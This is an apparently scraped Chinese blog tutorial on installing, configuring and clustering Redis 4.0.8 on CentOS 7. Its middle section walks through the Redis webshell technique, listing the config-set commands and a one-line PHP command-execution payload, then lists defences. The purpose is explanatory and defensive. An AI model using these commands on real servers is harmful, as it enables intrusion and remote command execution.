安装redis

  1. 安装前的准备

    yum install \
    vim \
    wget \
    make \
    gcc \
    gcc-c++ \
    automake \
    autoconf \
    -y \
  2. 下载解压并安装

    cd /root
    wget http://download.redis.io/releases/redis-4.0.8.tar.gz
    tar -zxzf redis-4.0.8.tar.gz
    cd redis-4.0.8
    make PREFIX=/usr/local/redis/ install
  3. 创建配置中要求的数据文件存储位置

    mkdir /data
    mkdir /data/redis
    mkdir /usr/local/redis/log
  4. 添加修改配置文件参考配置

    cp ./redis.conf /usr/local/redis
    vim /usr/local/redis/redis.conf # IP绑定
    bind 127.0.0.1 192.168.0.111
    # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启)
    protected-mode yes
    # 访问端口
    port 6379
    # 连接超时,单位S,0为不启用超时
    timeout 0
    # 以守护进程运行
    daemonize yes
    # 数据文件路径
    dir /data/redis
    # 进程ID文件的路径
    pidfile /usr/local/redis/log/redis.pid
    # 日志文件路径
    logfile /usr/local/redis/log/redis.log
    # 开启键过期删除通知
    notify-keyspace-events Ex ESC
    :wq # 以下安全配置选项仅作参考
    # 禁用部分危险命令
    rename-command FLUSHALL ""
    rename-command CONFIG ""
    rename-command EVAL ""
    # 添加访问密码
    requirepass ********
    # IP绑定本机
    bind 127.0.0.1
  5. 性能优化

    # 编辑/etc/rc.local
    vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC
    :wq # 添加/etc/rc.local执行权限
    chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf
    vim /etc/sysctl.conf vm.overcommit_memory = 1
    net.core.somaxconn = 1024 ESC
    :wq # 立即解决
    echo never > /sys/kernel/mm/transparent_hugepage/enabled
    echo 1024 > /proc/sys/net/core/somaxconn
    sysctl vm.overcommit_memory=1
    sysctl -p
  6. 修改目录归属

    useradd -s /sbin/nologin -M redis
    chown -R redis:redis /data/redis
    chown -R redis:redis /usr/local/redis
  7. 启动redis并设置开机启动

    # 进入单元文件目录
    cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型]
    vim redis.service [Unit]
    Description=Start redis on boot.
    After=default.target network.target [Service]
    User=redis
    Group=redis
    Type=forking
    PIDFile=/usr/local/redis/log/redis.pid
    ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf
    ExecReload=/bin/kill -s HUP $MAINPID
    ExecStop=/bin/kill -s QUIT $MAINPID
    PrivateTmp=false
    Restart=always [Install]
    WantedBy=multi-user.target ESC
    :wq # 修改文件权限为只有root用户可以编辑该文件
    chown -R root:root /etc/systemd/system/redis.service
    chmod -R 644 /etc/systemd/system/redis.service # 更新systemd
    systemctl daemon-reload
    systemctl enable redis
    systemctl start redis
  8. 存入数据

    /usr/local/redis/bin/redis-cli -h 127.0.0.1
    
    set num 123
    save
    get num
    quit
  9. 批量删除匹配规则数据

    redis-cli keys [匹配规则]|xargs redis-cli del

Redis宕机 aof文件损坏 启动失败

  1. 拷贝aof文件
  2. 修复坏损的aof文件

    redis-check-aof --fix [aof文件名]
  3. 重新启动Redis

Redis漏洞webshell的利用

参考链接

  1. Redis该漏洞用到的原理如下

    1. redis原生支持通过'redis-cli>config set'在不重启redis服务的情况
      下,动态修改配置dir、dbfilename;
    2. redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执
      行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文

    件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web
    目录,则/www/test.php则会被人利用,成为入侵你服务器的入口;

  2. 漏洞举例(这是一个负面教材)

    1. redis以超级管理员用户root运行
    2. Nginx以超级管理员用户root启动,子进程也以root运行
    3. web服务器为nginx,并做如下配置:

      server {
      listen x;
      server_name xxx.xxx.com;
      root /www; location / {
      index index.php index.html index.htm;
      } location ~ \.php$ {
      fastcgi_index index.php;
      fastcgi_pass 127.0.0.1:9000;
      fastcgi_param SCRIPT_NAME $fastcgi_script_name;
      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
      include fastcgi_params;
      }
      }
    4. 通过redis-cli执行了以下命令

      config set dir /www/
      config set dbfilename test.php
      set test "<?php exec($_GET['cmd']); ?>"
      save
    5. 这时候可怕的事情出现了

      1. 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到
      2. 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令)

Redis漏洞webshell的防范

  1. 不要线上使用redis的web管理工具
  2. redis以低权限用户运行(如rediser等让人想不到的用户名)
  3. redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24)
  4. redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "")
  5. web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程)

redis集群(cluster方式)

  1. 集群前的配置(单机两服务测试6379,6380)

    # 内网IP:192.168.0.100
  2. 修改redis.conf

    vim /usr/local/redis/redis.conf
    
    # 启用cluster
    cluster-enabled yes
    # 调用cluster配置文件
    cluster-config-file nodes-6379.conf
    # 集群超时
    cluster-node-timeout 15000
    # 关闭宕机全停
    cluster-require-full-coverage no
    # 集群从属元素个数
    cluster-slave-validity-factor 10
    # 从机数最低迁移值(master至少有两台slave,才能做slave迁移)
    cluster-migration-barrier 1 ESC
    :wq
  3. 配置文件添加

    yum install ruby
    gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf
    cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379
    mkdir /usr/local/redis/data/6380
  4. 修改redis-6379.conf

    vim /usr/local/redis/redis-6379.conf
    
    unixsocket /usr/local/redis/data/6379/redis.sock
    pidfile /usr/local/redis/log/redis_6379.pid
    logfile /usr/local/redis/log/redis_6379.log
    dir /usr/local/redis/data/6379/
    bind 192.168.0.100
    port 6379 ESC
    :wq
  5. 修改redis-6380.conf

    vim /usr/local/redis/redis-6380.conf
    
    unixsocket /usr/local/redis/data/6380/redis.sock
    pidfile /usr/local/redis/log/redis_6380.pid
    logfile "/usr/local/redis/log/redis_6380.log"
    dir /usr/local/redis/data/6380/
    bind 192.168.0.100
    port 6380 ESC
    :wq
  6. 修改开机启动

    vim /etc/rc.local
    
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf
    /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC
    :wq
  7. 创建cluster

    cd /root/redis/src/
    # 查看帮助
    ./redis-trib.rb help
    # 添加绑定
    ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380
  8. 集群测试

    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c
  9. 正常关闭(不要强制关闭)

    /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown

CentOS7.X安装Redis-4.0.8以及Redis集群搭建的更多相关文章

  1. redis 5.0.3 讲解、集群搭建

    REDIS 一 .redis 介绍 不管你是从事Python.Java.Go.PHP.Ruby等等... Redis都应该是一个比较熟悉的中间件.而大部分经常写业务代码的程序员,实际工作中或许只用到了 ...

  2. Hadoop 3.1.2(HA)+Zookeeper3.4.13+Hbase1.4.9(HA)+Hive2.3.4+Spark2.4.0(HA)高可用集群搭建

    目录 目录 1.前言 1.1.什么是 Hadoop? 1.1.1.什么是 YARN? 1.2.什么是 Zookeeper? 1.3.什么是 Hbase? 1.4.什么是 Hive 1.5.什么是 Sp ...

  3. Redis(1.11)Redis4.0.11 cluster 分布式集群搭建

    概念与了解:Redis(1.7)Redis高可用架构(理论篇) [0]试验环境 结构图如下: (这里试验没有那么多机器,就用3台机器搭建试验) redis1是redis集群的一个节点A,上面运行了两个 ...

  4. hadoop2.2.0的ha分布式集群搭建

    hadoop2.2.0 ha集群搭建 使用的文件如下:    jdk-6u45-linux-x64.bin    hadoop-2.2.0.x86_64.tar    zookeeper-3.4.5. ...

  5. mongodb之 3.4.0 mongodb sharing 副本集群搭建

    系统系统 centos6.5三台服务器:10.100.25.42/43/44安装包: mongodb-linux-x86_64-rhel62-3.4.0.tgz 服务器规划:mongos mongos ...

  6. redhat6.5 redis单节点多实例3A集群搭建

    在进行搭建redis3M 集群之前,首先要明白如何在单节点上完成redis的搭建. 单节点单实例搭建可以参看这个网:https://www.cnblogs.com/butterflies/p/9628 ...

  7. Hadoop2.2.0安装配置手册!完全分布式Hadoop集群搭建过程~(心血之作啊~~)

    http://blog.csdn.net/licongcong_0224/article/details/12972889 历时一周多,终于搭建好最新版本hadoop2.2集群,期间遇到各种问题,作为 ...

  8. hadoop-2.6.0.tar.gz的集群搭建(3节点)(不含zookeeper集群安装)

    前言 本人呕心沥血所写,经过好一段时间反复锤炼和整理修改.感谢所参考的博友们!同时,欢迎前来查阅赏脸的博友们收藏和转载,附上本人的链接http://www.cnblogs.com/zlslch/p/5 ...

  9. MySQL8.0 MIC高可用集群搭建

    mysql8.0带来的新特性,结合MySQLshell,不需要第三方中间件,自动构建高可用集群. mysql8.0作为一款新产品,其内置的mysq-innodb-cluster(MIC)高可用集群的技 ...

  10. Redis学习笔记(5)—— Redis的持久化方案&Redis的集群搭建

    一.Redis的持久化方案 Redis的高性能是由于其将所有数据都存储在了内存中,为了使Redis在重启之后仍能保证数据不丢失,需要将数据从内存中同步到硬盘中,这一过程就是持久化. Redis支持两种 ...

随机推荐

  1. IOS折线图二

    上周把项目的折线图给做了下,今天想着把它完善完善,自己设置了不同的数据源来测试,哈哈,还真遇到问题了, 就是给图表设置折点数为0时,视图显示的还是原来的,由于数据为空,应该将其设置为空,所以想着怎么把 ...

  2. [译]用R语言做挖掘数据《五》

    介绍 一.实验说明 1. 环境登录 无需密码自动登录,系统用户名shiyanlou,密码shiyanlou 2. 环境介绍 本实验环境采用带桌面的Ubuntu Linux环境,实验中会用到程序: 1. ...

  3. DB常见问题排查方法

    一般情况下,系统多多少少都会遇到点问题,那么遇到问题之后我们怎么定位原因呢?在这里我只说如何定位DB的问题. 看这篇文章有个前提:监控数据要完整!监控数据要完整!!监控数据要完整!!!比如下面这个乍一 ...

  4. [javaSE] GUI(菜单)

    菜单MenuBar Menu  MenuItem 调用Frame对象的setMenuBar()方法,设置菜单,参数:MenuBar对象 import java.awt.FlowLayout; impo ...

  5. 十六、Condition等待通知

    一.简介 我们可以使用syncronized和wait,notify实现等待通知.而syncronized的高级实现Lock,也可以实现等待通知,需要构造Condition的实例对象. JDK文档:h ...

  6. Ubuntu14.04默认cmake升级为3.x

    由于Ubuntu14.04的cmake版本为2.8.x,而如果需要cmake3.x版本时,无法生成makefile,有两种方法可以安装cmake3.4.1: sudo apt-get install ...

  7. bnu 10805 矩形神码的 平面向量的运行

    矩形神码的 Time Limit: 1000ms Memory Limit: 65536KB Special Judge   64-bit integer IO format: %lld      J ...

  8. H5 Js图片转base64编码

    <!Doctype html> <html> <head> <meta charset="utf-8" /> <title&g ...

  9. MVC 中导出Execl 对 科学计数 的转化

    相信大家在使用MVC 的做execl 数据导出的时候,遇到过 身份证号码 银行卡号 交易号 等一大串数字的时候,在导出execl 的时候就会出现 科学计数的输入:下面来说一下解决方案: 第一种:在MV ...

  10. django框架中form表单Post方法无法提交 Forbidden (403) CSRF verification failed. Request aborted.

    问题如图: 解决方法: 在视图函数中引入并使用装饰器 from django.views.decorators.csrf import csrf_exempt @csrf_exempt